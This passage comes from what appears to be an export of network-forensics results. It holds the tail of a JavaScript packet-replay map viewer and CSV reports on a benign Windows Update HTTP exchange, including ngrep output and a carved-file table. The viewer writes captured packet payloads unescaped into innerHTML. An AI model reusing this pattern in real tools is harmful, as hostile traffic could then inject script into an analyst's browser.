\"4e454138354242753041584b7566472b49635964354647343d222c2235593479556434733832394a345a5148397539694b347930536e334c6635533870302f6c536c4a4b442b383d222c226938614367774374585847413852654c356f646649355a437455536b58433457522f6a4342737a5a4d30383d222c227a796d46757545733279422b45754e3676652f6c2f3437675153496a445a753559693649583564317939413d222c224c4849693258736f646f44647737435a737957474d69334a667561374a706d4b784a65416e466d7a4835553d222c2256746c687064396a6f424668727855354a72422f7a795656795639343059473567686c30766932434659413d222c224147372f52796a4f77395678546e72713930556a524e666c354e4737497748534d364e2f54546b5647706b3d222c224b3155496249505771673858564c78494e64493755764e38745671306f44503450634741633774735534303d225d7d\", \"payload_ascii\": \"NEA85BBu0AXKufG+IcYd5FG4=\\\",\\\"5Y4yUd4s829J4ZQH9u9iK4y0Sn3Lf5S8p0/lSlJKD+8=\\\",\\\"i8aCgwCtXXGA8ReL5odfI5ZCtUSkXC4WR/jCBszZM08=\\\",\\\"zymFuuEs2yB+EuN6ve/l/47gQSIjDZu5Yi6IX5d1y9A=\\\",\\\"LHIi2XsodoDdw7CZsyWGMi3Jfua7JpmKxJeAnFmzH5U=\\\",\\\"Vtlhpd9joBFhrxU5JrB/zyVVyV940YG5ghl0vi2CFYA=\\\",\\\"AG7/RyjOw9VxTnrq90UjRNfl5NG7IwHSM6N/TTkVGpk=\\\",\\\"K1UIbIPWqg8XVLxINdI7UvN8tVq0oDP4PcGAc7tsU40=\\\"]}\"}, {\"packet_number\": 9, \"timestamp\": 1783599779.608912, \"timestamp_iso\": \"2026-07-09T17:52:59.608912\", \"timestamp_human\": \"2026-07-09 17:52:59.608\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"77.111.102.205\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 57220, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64032, \"tcp_seq\": 1993408173, \"tcp_ack\": 3187970895, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 12, \"timestamp\": 1783599779.609238, \"timestamp_iso\": \"2026-07-09T17:52:59.609238\", \"timestamp_human\": \"2026-07-09 17:52:59.609\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"77.111.102.205\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64032, \"tcp_seq\": 1993408174, \"tcp_ack\": 3187970896, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 6, \"PSH\": 2, \"FIN\": 1}, \"packet_sizes\": [66, 54, 4102, 411, 54, 54], \"inter_packet_intervals\": [0.0003261566162109375, 1.6201109886169434, 0.00030493736267089844, 9.07958698272705, 0.00032591819763183594], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 10.700654983520508, \"avg_packet_size\": 790.1666666666666, \"packets_per_second\": 0.5607133403740492, \"bytes_per_second\": 443.05699111889453, \"min_packet_size\": 54, \"max_packet_size\": 4102, \"median_packet_size\": 66, \"avg_interval\": 2.1401309967041016, \"min_interval\": 0.00030493736267089844, \"max_interval\": 9.07958698272705}];\n        \n        // Unified Timeline Data\n        const allPackets = [];\n        edges.forEach(e => {\n            e.packets.forEach(p => {\n                allPackets.push({\n                    ...p,\n                    source: e.source,\n                    target: e.target,\n                    protocols: p.protocols\n                });\n            });\n        });\n        allPackets.sort((a, b) => a.timestamp - b.timestamp);\n\n        // Map Setup\n        const map = L.map('map', {\n            center: [20, 0],\n            zoom: 2,\n            minZoom: 2,\n            maxBounds: [[-90, -180], [90, 180]],\n            maxBoundsViscosity: 1.0,\n            worldCopyJump: false\n        });\n\n        L.tileLayer('https://{s}.basemaps.cartocdn.com/light_all/{z}/{x}/{y}{r}.png', {\n            attribution: '©OpenStreetMap, ©CartoDB',\n            noWrap: true,\n            bounds: [[-90, -180], [90, 180]]\n        }).addTo(map);\n\n        // Projection Helper for Private IPs\n        function getPos(node) {\n            if (node.is_private) {\n                // Place private nodes in the stylized \"Pvt Zone\" (North Pacific area)\n                // Offset slightly per node to avoid overlap\n                const idx = nodes.filter(n => n.is_private).indexOf(node);\n                const pvtLat = 50 + (idx % 5) * 2;\n                const pvtLon = -160 + Math.floor(idx / 5) * 5;\n                return [pvtLat, pvtLon];\n            }\n            return [node.geo.lat || 0, node.geo.lon || 0];\n        }\n\n        // Initialize positions\n        nodes.forEach(n => {\n            const pos = getPos(n);\n            n.currentLat = pos[0];\n            n.currentLon = pos[1];\n        });\n\n        // D3 Overlay\n        L.svg().addTo(map);\n        const svg = d3.select(map.getPanes().overlayPane).select(\"svg\");\n        const g = svg.append(\"g\").attr(\"class\", \"leaflet-zoom-hide\");\n\n        // Scale node radius by traffic volume\n        const nodeScale = d3.scaleSqrt()\n            .domain([0, d3.max(nodes, d => d.packet_count) || 100])\n            .range([5, 20]);\n\n        const link = g.selectAll(\".link\")\n            .data(edges)\n            .enter().append(\"path\")\n            .attr(\"class\", \"link\")\n            .attr(\"stroke\", e => e.threat_level === 'critical' ? '#ef4444' : '#94a3b8')\n            .attr(\"stroke-width\", 1.5)\n            .on(\"click\", (e, d) => inspectFlow(d));\n\n        const node = g.selectAll(\".node\")\n            .data(nodes)\n            .enter().append(\"circle\")\n            .attr(\"class\", \"node\")\n            .attr(\"r\", d => nodeScale(d.packet_count))\n            .attr(\"fill\", d => d.is_private ? \"#3b82f6\" : \"#10b981\")\n            .attr(\"stroke\", \"#fff\")\n            .attr(\"stroke-width\", 2)\n            .on(\"click\", (e, d) => inspectNode(d));\n\n        node.append(\"title\").text(d => d.ip);\n\n        function updatePositions() {\n            node.attr(\"cx\", d => map.latLngToLayerPoint([d.currentLat, d.currentLon]).x)\n                .attr(\"cy\", d => map.latLngToLayerPoint([d.currentLat, d.currentLon]).y);\n\n            link.attr(\"d\", d => {\n                const s = nodes.find(n => n.id === d.source);\n                const t = nodes.find(n => n.id === d.target);\n                if (!s || !t) return \"\";\n                const sp = map.latLngToLayerPoint([s.currentLat, s.currentLon]);\n                const tp = map.latLngToLayerPoint([t.currentLat, t.currentLon]);\n                return `M${sp.x},${sp.y}L${tp.x},${tp.y}`;\n            });\n        }\n\n        map.on(\"viewreset move\", updatePositions);\n        updatePositions();\n\n        // Stats\n        document.getElementById('stat-nodes').innerText = nodes.length;\n        document.getElementById('stat-edges').innerText = edges.length;\n        document.getElementById('stat-pkts').innerText = allPackets.length;\n\n        // --- Replay Logic ---\n        let replayIdx = 0;\n        let isPlaying = false;\n        let replayTimer = null;\n        const timeline = document.getElementById('timeline');\n        const timeDisplay = document.getElementById('time-display');\n\n        function toggleReplay() {\n            isPlaying = !isPlaying;\n            document.getElementById('play-icon').className = isPlaying ? \"fas fa-pause\" : \"fas fa-play\";\n            if (isPlaying) runReplay();\n            else clearInterval(replayTimer);\n        }\n\n        function runReplay() {\n            clearInterval(replayTimer);\n            replayTimer = setInterval(() => {\n                if (replayIdx >= allPackets.length) {\n                    toggleReplay();\n                    return;\n                }\n                processPacket(allPackets[replayIdx]);\n                replayIdx++;\n                const progress = (replayIdx / allPackets.length) * 100;\n                timeline.value = progress;\n            }, 150);\n        }\n\n        function seekReplay(val) {\n            const targetIdx = Math.floor((val / 100) * (allPackets.length - 1));\n            replayIdx = targetIdx;\n            if (allPackets[replayIdx]) {\n                processPacket(allPackets[replayIdx]);\n            }\n        }\n\n        function processPacket(pkt) {\n            timeDisplay.innerText = pkt.timestamp_human.split(' ')[1];\n            animatePacket(pkt.source, pkt.target);\n            updateLiveInspector(pkt);\n        }\n\n        function animatePacket(srcId, dstId) {\n            const s = nodes.find(n => n.id === srcId);\n            const t = nodes.find(n => n.id === dstId);\n            if (!s || !t) return;\n            \n            const sp = map.latLngToLayerPoint([s.currentLat, s.currentLon]);\n            const tp = map.latLngToLayerPoint([t.currentLat, t.currentLon]);\n\n            const p = g.append(\"circle\")\n                .attr(\"r\", 4)\n                .attr(\"class\", \"packet-particle\")\n                .attr(\"cx\", sp.x)\n                .attr(\"cy\", sp.y);\n\n            p.transition()\n                .duration(800)\n                .ease(d3.easeLinear)\n                .attr(\"cx\", tp.x)\n                .attr(\"cy\", tp.y)\n                .remove();\n        }\n\n        function updateLiveInspector(pkt) {\n            const srcNode = nodes.find(n => n.id === pkt.source);\n            const dstNode = nodes.find(n => n.id === pkt.target);\n            \n            const body = document.getElementById('inspect-body');\n            \n            // Format payload\n            let payloadHtml = \"\";\n            if (pkt.payload_preview) {\n                const hex = pkt.payload_preview.match(/.{1,2}/g).join(' ');\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (Hex)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 150px; overflow-y: auto; font-size: 0.7rem;\">${hex}</div>\n                `;\n            } else if (pkt.payload_ascii) {\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (ASCII)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 150px; overflow-y: auto; font-size: 0.7rem;\">${pkt.payload_ascii}</div>\n                `;\n            }\n\n            body.innerHTML = `\n                <div class=\"info-card\" style=\"border-left: 4px solid var(--accent-main)\">\n                    <div class=\"sec-title\">Live Replay Analysis</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Packet ID</span><span class=\"data-value\">#${pkt.packet_number}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Timestamp</span><span class=\"data-value\">${pkt.timestamp_human}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${pkt.protocols.join(' → ')}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Size</span><span class=\"data-value\">${pkt.size} Bytes</span></div>\n                </div>\n\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Source: ${pkt.source}</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Location</span><span class=\"data-value\">${srcNode.geo.city}, ${srcNode.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP / ASN</span><span class=\"data-value\">${srcNode.geo.isp} (AS${srcNode.geo.asn})</span></div>\n                </div>\n\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Destination: ${pkt.target}</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Location</span><span class=\"data-value\">${dstNode.geo.city}, ${dstNode.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP / ASN</span><span class=\"data-value\">${dstNode.geo.isp} (AS${dstNode.geo.asn})</span></div>\n                </div>\n\n                ${pkt.tcp_flags_str ? `<div class=\"info-card\"><div class=\"sec-title\">TCP Flags</div><div class=\"data-value\">${pkt.tcp_flags_str}</div></div>` : ''}\n                ${pkt.dns_query ? `<div class=\"info-card\"><div class=\"sec-title\">DNS Query</div><div class=\"data-value\">${pkt.dns_query}</div></div>` : ''}\n\n                <div class=\"info-card\">\n                    ${payloadHtml || '<div class=\"data-label\">No raw payload data</div>'}\n                </div>\n            `;\n        }\n\n        function inspectNode(d) {\n            document.getElementById('inspect-title').innerText = `Node: ${d.ip}`;\n            const body = document.getElementById('inspect-body');\n            body.innerHTML = `\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Investigation Metadata</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Country</span><span class=\"data-value\">${d.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">City</span><span class=\"data-value\">${d.geo.city}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP</span><span class=\"data-value\">${d.geo.isp}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ASN</span><span class=\"data-value\">${d.geo.asn}</span></div>\n                </div>\n                <div class=\"sec-title\">Traffic Intensity</div>\n                <div class=\"stat-grid\">\n                    <div class=\"stat-box\"><div class=\"stat-v\">${d.packet_count}</div><div class=\"stat-l\">Packets</div></div>\n                    <div class=\"stat-box\"><div class=\"stat-v\">${(d.total_bytes_sent/1024).toFixed(1)}</div><div class=\"stat-l\">KB Sent</div></div>\n                    <div class=\"stat-box\"><div class=\"stat-v\">${(d.total_bytes_received/1024).toFixed(1)}</div><div class=\"stat-l\">KB Recv</div></div>\n                </div>\n                <div class=\"sec-title\" style=\"margin-top:20px;\">Recent Packets</div>\n                ${d.packets.slice(-10).map(p => {\n                    const pStr = JSON.stringify(p).replace(/\"/g, '&quot;');\n                    return `\n                        <div class=\"packet-list-item\" onclick=\"showPacketDetails('${d.ip}', ${pStr})\">\n                            <span>#${p.num} - ${p.direction.toUpperCase()}</span>\n                            <span>${p.size}B</span>\n                        </div>\n                    `;\n                }).join('')}\n            `;\n        }\n\n        function inspectFlow(d) {\n            const s = nodes.find(n => n.id === d.source);\n            const t = nodes.find(n => n.id === d.target);\n            document.getElementById('inspect-title').innerText = `Flow: ${d.source} → ${d.target}`;\n            const body = document.getElementById('inspect-body');\n            body.innerHTML = `\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Flow Characteristics</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${d.protocols.join(', ')}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Total Traffic</span><span class=\"data-value\">${(d.total_bytes / 1024).toFixed(2)} KB</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Threat Level</span><span class=\"data-value\" style=\"color:${d.threat_level === 'low' ? 'var(--accent-success)' : 'var(--accent-danger)'}\">${d.threat_level.toUpperCase()}</span></div>\n                </div>\n                <div class=\"sec-title\">Packet Log</div>\n                ${d.packets.slice(-15).map(p => `\n                    <div class=\"packet-list-item\" style=\"border-left: 3px solid var(--accent-main)\">\n                        <div>\n                            <div style=\"font-weight:700\">#${p.packet_number} [${p.protocols[p.protocols.length-1]}]</div>\n                            <div style=\"font-size:0.75rem; color:var(--text-secondary)\">${p.timestamp_human.split(' ')[1]}</div>\n                        </div>\n                        <div style=\"text-align:right\">\n                            <div>${p.size}B</div>\n                        </div>\n                    </div>\n                `).join('')}\n            `;\n        }\n\n        function showPacketDetails(ip, p) {\n            const body = document.getElementById('inspect-body');\n            document.getElementById('inspect-title').innerText = `Packet Inspection`;\n            document.getElementById('inspect-subtitle').innerText = `IP: ${ip}`;\n            \n            let payloadHtml = \"\";\n            if (p.payload_preview) {\n                const hex = p.payload_preview.match(/.{1,2}/g).join(' ');\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (Hex)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 200px; overflow-y: auto; font-size: 0.7rem;\">${hex}</div>\n                `;\n            } else if (p.payload_ascii) {\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (ASCII)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 200px; overflow-y: auto; font-size: 0.7rem;\">${p.payload_ascii}</div>\n                `;\n            }\n\n            body.innerHTML = `\n                <div class=\"info-card\" style=\"border-left: 4px solid var(--accent-main)\">\n                    <div class=\"sec-title\">Packet Details</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Timestamp</span><span class=\"data-value\">${p.timestamp_human}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${p.protocols ? p.protocols.join(' → ') : 'N/A'}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Byte Size</span><span class=\"data-value\">${p.size}</span></div>\n                </div>\n\n                ${p.tcp_flags_str ? `<div class=\"info-card\"><div class=\"sec-title\">TCP Control Flags</div><div class=\"data-value\">${p.tcp_flags_str}</div></div>` : ''}\n                ${p.dns_query ? `<div class=\"info-card\"><div class=\"sec-title\">DNS Query Resolve</div><div class=\"data-value\">${p.dns_query}</div></div>` : ''}\n\n                <div class=\"info-card\">\n                    ${payloadHtml || '<div class=\"data-label\">No raw payload data available</div>'}\n                </div>\n                \n                <button class=\"btn\" onclick=\"zoomToWorld()\" style=\"width:100%; margin-top:10px; padding:10px;\">Return to Overview</button>\n            `;\n        }\n\n        function closePacketPanel() {\n            // No longer used as we use the side panel\n        }\n\n        function zoomToWorld() {\n            map.flyTo([20, 0], 2);\n        }\n    </script>\n</body>\n</html>\n"},{"_id":{"$oid":"6a4f973f0108394cb24cdcc0"},"sha256":"2a1f5a04025b7837d187ed8e9aaab7b5fff607327866e9bc9e5da83a84b56dda","timestamp":{"$date":"2026-07-09T18:12:39.392Z"},"analysis_successful":true,"csv_reports":{"network_analysis_domains_ips.csv":"name,ip,src,av detection,reputation,malicious,internal/ external\n194.36.32.204,194.36.32.204,HTTP Host,0/70,Neutral,No,External\nhttp://194.36.32.204,194.36.32.204,HTTP URL,0/70,Neutral,No,External\n","forensic_timeline.csv":"timestamp,category,event,details\n0.0,NGrep,input: /tmp/filtered_p04zeytr.pcap,\"Payload: filter: ((ip || ip6) || (vlan && (ip || ip6)))\nmatch (JIT): .\n####\nT 10.152.152.11:64005 -> 194.36.32.204:80 [AP] #4\nGET /phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com HTTP/1.1.\nConnection: Keep-Alive.\nAccept: */*.\nAccept-Encoding: gzip, deflate.\nUser-Agent: Microsoft-Delivery-Optimization/10.0.\nMS-CV: U8LcJprCPE+qu3Wn.1.1.7.2.4.1.1.\nContent-Length: 0.\nHost: 194.36.32.204.\n.\"\n0.0,NGrep,##,\"Payload: T 194.36.32.204:80 -> 10.152.152.11:64005 [AP] #6\nHTTP/1.1 200 OK.\nServer: nginx.\nDate: Thu, 09 Jul 2026 12:29:43 GMT.\nContent-Type: application/json.\nContent-Length: 3793.\nConnection: keep-alive.\nCache-Control: public,max-age=172800.\nLast-Modified: Mon, 13 Oct 2025 22:35:46 GMT.\nVia: 1.1 varnish.\nAge: 1.\nX-Served-By: cache-fra-eddf8230077-FRA.\nX-Cache: HIT.\nX-Cache-Hits: 1.\nX-Timer: S1760461210.152831,VS0,VE1.\nX-CID: 10006.\nX-CCC: 8b3b1af9-d773-476c-b393-1a964769490d.\nContent-Security-Policy: default-src 'self' http: https: data: blob: 'unsafe-inline'.\nX-XSS-Protection: 1; mode=block.\nX-Frame-Options: SAMEORIGIN.\nX-Cache-Status: STALE.\nAccept-Ranges: bytes.\n.\n{\"\"MajorVersion\"\":1,\"\"MinorVersion\"\":0,\"\"HashOfHashes\"\":\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\"\",\"\"HashOfHashesString\"\":\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\"\",\"\"ContentLength\"\":79240605,\"\"PieceSize\"\":1048576,\"\"Pieces\"\":[\"\"63e2fn9p5M1Jgrot42IpGMa5bewQbBKL+em50oFb+i4=\"\",\"\"YuXbLgas4Lh7wPc++eVa37E6IVde7rPFnX4nDgoPk0c=\"\",\"\"K6io8w5q8r4jvcB0bXbnkcR2bgFBdwCnjuXGizcMmQU=\"\",\"\"0X3+x3V1+JPAjCE5Ng20ger5fDe1GgAYol5SwJoEB+0=\"\",\"\"mjtVq2sEmx6kb8biCkiRwkgr+cx1ns6tHXlvwKuxa0I=\"\",\"\"6v+JmnAxcD8Eh1aEp+a1UduJOkkZwYVmnqssAgVeAjE=\"\",\"\"5JGehCOWEkusqUmL8cBnNMvv5YQH5+QDlmwjwAPLmPs=\"\",\"\"RgoD0TGJIY1zJ091MqikfS0sV0VhU3X5fUtOlnnSENw=\"\",\"\"6IS3v2w9sPuUW/AkUjf93UreEjJ5x7vDbeCSopfAayY=\"\",\"\"LPHpcu21PoAWmfa1Labh5mKn1na7oG35hQcy/Q98It0=\"\",\"\"EwErRieJ2XqZXvdC5m7fGgWpg2qHHBh3C7r2gHXxEK0=\"\",\"\"8iefG+Sz6iqHEhIVeQwGtfUQveH/RgpQ6Cf9TSP8ZLQ=\"\",\"\"6eJIZGiygGwG2avHiKJ3GcQwp79CgHsqFkxUotsCjos=\"\",\"\"ofAo/IflBJGfABKr1Vrzimvb4uM3M8lgmxIU6lWtJPQ=\"\",\"\"XSe/pgH3Lycvx7qMI0uh7peTu9vWl8s91kUKpbf3UOA=\"\",\"\"8ptbeA16DYOuts/x2n7zrbd4oRdPCy3QW1nsHsHeEk4=\"\",\"\"MVtfKcMn6m3ujQYZEZFr4E9+m+RFMje4O9E8l+c/bfU=\"\",\"\"yYv0uCFXJcMYFvFMj/1XIlNFyszprVcDTFLniT4on8o=\"\",\"\"TAYTgbxvVIz0LZaFQgYy7S26LE8bdx9n13qyKPI6HqY=\"\",\"\"rV7AADaB6O5uWzeYfzUGf4MCPMLhpfKDvd+2x5iFBV8=\"\",\"\"T2K/1UEU9VGnB+gnIgZn/+MFs4aiCbRAmfSlPaEjh/I=\"\",\"\"Yx8PgaO9bdMgINkxN4IgwvC2jUT8LPZ8XPpA3vVinyQ=\"\",\"\"Hn30j5DwTXbD4pQaWYAJGZLfhcmCf+L6oKgvRzjJLfk=\"\",\"\"5YD/xAFgZ6j1UroWJ6rPRg/Gy+kEsvEgc/+8dnlWnW0=\"\",\"\"91mOrDSDZjZxZImPub7TEX7EDVtcuovbjdsQBw5aRJI=\"\",\"\"fear5JfHtYZEFgHOOoC6tKNaGz+XXFqs5m2sIGoz8sw=\"\",\"\"duDCDm8Yndiw3bFtGcypDqe+wnQPB1CZACL8iZwUOKk=\"\",\"\"h/DgbNswkDCKLeT3ZFdwZVn7t1O4eI+6LvIPkr9RS+o=\"\",\"\"yPWAbkviCF20ok0O64buRa0TXt/DEV4CUoJyjkSqg28=\"\",\"\"YLOlYrOZcK7BmKbIz1tZS9L+bISeugKysXKto4RLQl0=\"\",\"\"wRm4L9NXLbrHhOMrwYT9k45DcDLxKbFSU4+DNIJOWpo=\"\",\"\"vw7TJ2ygJmVIm0L9639YAvkqSxEwoJ6pYVJUDLGL/K4=\"\",\"\"wgvzre5JVOuSujl9Hnv1U+5wUozO2zEnbni0i+uZj2I=\"\",\"\"vD3Hvz4xSWXUxDGcCxajTSvQW2g5KLWdI6OvxyT6LHU=\"\",\"\"OzYc2Mq5bYAdv52qYKb2oGp5DSyeaSYejJgC0kD04MA=\"\",\"\"UQV6otpISNFpC5WkHhK/eVkiK1FilyfcyNs3yMyCCKQ=\"\",\"\"9VvYCLCSE8oOe1owOnPSGWqgHsfU3ybYikcEWFQowdk=\"\",\"\"ijbIboJshOhKNOojEcqm4kImaDGwmMr+MszgzKK06U4=\"\",\"\"tBgyDl1x36JWWtBm+FuEqhbO5ZU8IPlS009F5D38vZM=\"\",\"\"I2AkuGM3lq8vTrtJfQ874E7RjqqsUDxv5uW58PAeBgc=\"\",\"\"UUmQwR1YEZUXjmJSHAkgtD6xPLFROyxzFA1WLI0VxkU=\"\",\"\"AR8fMlz2ACmfat23hV4dNgq0igH4Ae6GHBgviao+Ftw=\"\",\"\"2A4uLbDcEpDUz/PyhNZe8J2BVevdH1TR+CSAAF+Vero=\"\",\"\"Q8b3I6Uac+PqEkGYT/uUSvyuzNYf7nIPCnGH6i9ESdA=\"\",\"\"a2aU2Yaol3P+MqkpEiJ+IEtm6ji7uzXsS7jBPCRZsgU=\"\",\"\"7TPSdljodqy1q2hhmToe4uQYcrwYWTR+Gpz1GxNLM3M=\"\",\"\"LcEyR6umS4rpg+DlYFomY3sexL15TxB0ODfpvvZ8jTk=\"\",\"\"HRgxKlbKmRkYGOHzx0cdOqlbHt8YILidAHzhH9EjhXw=\"\",\"\"9lRmaSC3EavcLdk9GWL0vG3QHsWoT/dsdX8maoro/NA=\"\",\"\"sWcIf/YdKy8qAUfoCDRtW2LlDKIWrjAqzYQLwlf13QA=\"\",\"\"roo3TOTDRLNdO3eqMcT9mki0/fnwn9c4gGf8AY05YW0=\"\",\"\"lBH+WW9gNzgya4ktv2iNShJJfkUXhIthCkyMLMqISpg=\"\",\"\"9UqDn5Sz1GArBaH9oE+QUu4vhgKZz0P0Tgq9KdvpJS4=\"\",\"\"gddeAQUVYO1evXtp+OZ9H5G3OtaCyZn7wYdqfLFCYZU=\"\",\"\"0yOCaNoTTqfeQ1v0xFjttzENHngxaxrnrMxRXZ\n##\nT 194.36.32.204:80 -> 10.152.152.11:64005 [AP] #8\nW3geU=\"\",\"\"uGbMPiutPtPliHaLG4adXlA78IadKTDwypgI1hf2poU=\"\",\"\"YidfH6Mmf9qPZztSA7mISPuYDOe3MHKggddAWkSRcII=\"\",\"\"Hd6RS5M1D0zFzacTUajTgCTK/T/8e3EpGSM32OI3ToU=\"\",\"\"J62bZJPXhtOVhoyne8huGZyDgBIaBgbyww8UlgH7ShU=\"\",\"\"zOrhBfwirRAaKy7BPFktSogF9D+CjJqYyVrPX8ZJ5Yw=\"\",\"\"dRaAOQlqD70Vzb6FoE282Rofjyg/wAbbC9DLI9QZtpg=\"\",\"\"YUAE/KdWY+rTuN6V8PDc/AqawBoCteeZbvM/KzNsCwo=\"\",\"\"X5ZOeZ4+RduOOi5DzGPkkx5ff5pQ/M6P7z9JrS4QkR8=\"\",\"\"/zSuduKeibYAdEODWQ8OxTRO8Ol4Rr1F4gwFnyIA02c=\"\",\"\"DO0hkhS01g/Yf1kABERtQmRvgMqUyEO3/it0pgyK3yU=\"\",\"\"B3yF+gwHMcmqkltK/4tiCB+AYzT+qerxDbkYvLMbiO4=\"\",\"\"+Ej94mP1JQfIEYLbAaMJOFMjErcYKpeeNU9bKelJll0=\"\",\"\"V4bigv+zB97vr4GtZLJglUlQ1nkK3+TBbTKovupbVzk=\"\",\"\"R45M1lu1fzp9voKArRfNEA85BBu0AXKufG+IcYd5FG4=\"\",\"\"5Y4yUd4s829J4ZQH9u9iK4y0Sn3Lf5S8p0/lSlJKD+8=\"\",\"\"i8aCgwCtXXGA8ReL5odfI5ZCtUSkXC4WR/jCBszZM08=\"\",\"\"zymFuuEs2yB+EuN6ve/l/47gQSIjDZu5Yi6IX5d1y9A=\"\",\"\"LHIi2XsodoDdw7CZsyWGMi3Jfua7JpmKxJeAnFmzH5U=\"\",\"\"Vtlhpd9joBFhrxU5JrB/zyVVyV940YG5ghl0vi2CFYA=\"\",\"\"AG7/RyjOw9VxTnrq90UjRNfl5NG7IwHSM6N/TTkVGpk=\"\",\"\"K1UIbIPWqg8XVLxINdI7UvN8tVq0oDP4PcGAc7tsU40=\"\"]}\n#####exit\"\n0.0,Network Stats,TShark Stat: protocol_hierarchy,Path: /tmp/tmpjyywdq50/tshark/stats/tshark_protocol_hierarchy.txt\n0.0,Network Stats,TShark Stat: conversations_tcp,Path: /tmp/tmpjyywdq50/tshark/stats/tshark_conversations_tcp.txt\n0.0,Network Stats,TShark Stat: conversations_udp,Path: /tmp/tmpjyywdq50/tshark/stats/tshark_conversations_udp.txt\n0.0,Network Stats,TShark Stat: endpoints_ip,Path: /tmp/tmpjyywdq50/tshark/stats/tshark_endpoints_ip.txt\n0.0,Network Stats,TShark Stat: http_stats,Path: /tmp/tmpjyywdq50/tshark/stats/tshark_http_stats.txt\n0.0,Network Stats,TShark Stat: dns_stats,Path: /tmp/tmpjyywdq50/tshark/stats/tshark_dns_stats.txt\n0.0,Network Stats,TShark Stat: expert_info,Path: /tmp/tmpjyywdq50/tshark/stats/tshark_expert_info.txt\n0.0,Network Stats,TShark Stat: io_graph,Path: /tmp/tmpjyywdq50/tshark/stats/tshark_io_graph.txt\n0.0,Forensics,Object Extracted: windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json%3fcacheHostOrigin=download.windowsupdate.com,Path: /tmp/tmpjyywdq50/tshark/objects/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json%3fcacheHostOrigin=download.windowsupdate.com\n","carved_files_analysis.csv":"Timestamp,Stream ID,Source IP,Source Port,Dest IP,Dest Port,Protocol,File Name,File Type,File Path,Size (bytes),MD5,SHA256,Entropy,Strings Preview,Content Preview (Hex)\n2026-07-09T18:12:37.001278,Tool:tmpjyywdq50/carved,Unknown,0,Unknown,0,HTTP,scalpel.conf,conf,/tmp/tmpjyywdq50/carved/scalpel.conf,796,a2da2c51920b2a2338daac52dc8f3894,35fa9929898a9ad0b97ddb04fb3b9b8cc0295a9e38cc7463922f86fa92d7c165,3.97,\" Scalpel Configuration Generated by Network Analyzer,  ext      case  header          footer,  Graphics, jpg        y     , x10   , jpg        y     , xe1           , png        y     , x0a   , gif        y     , x61   , gif        y     , x61   ,  Documents, pdf        y     , x46           , zip        y     , x04           ,  Executables, exe        y     , x5a                   REVERSE, elf        y     , x46           REVERSE,  Multimedia, mp3        y     , x33                , mp4        y     , x70 REVERSE,         \",0a 23 20 53 63 61 6c 70 65 6c 20 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 47 65 6e 65 72 61 74 65 64 20 62 79 20 4e 65 74 77 6f 72 6b 20 41 6e 61 6c 79 7a 65 72 0a 23 20 65 78 74 20 20 20 20 20 20 63 61 73 65 20 20 68 65 61 64 65 72 20 20 20 20 20 20 20 20 20 20 66 6f 6f 74 65 72 0a 0a 23 20 47 72 61 70 68 69 63 73 0a 6a 70 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 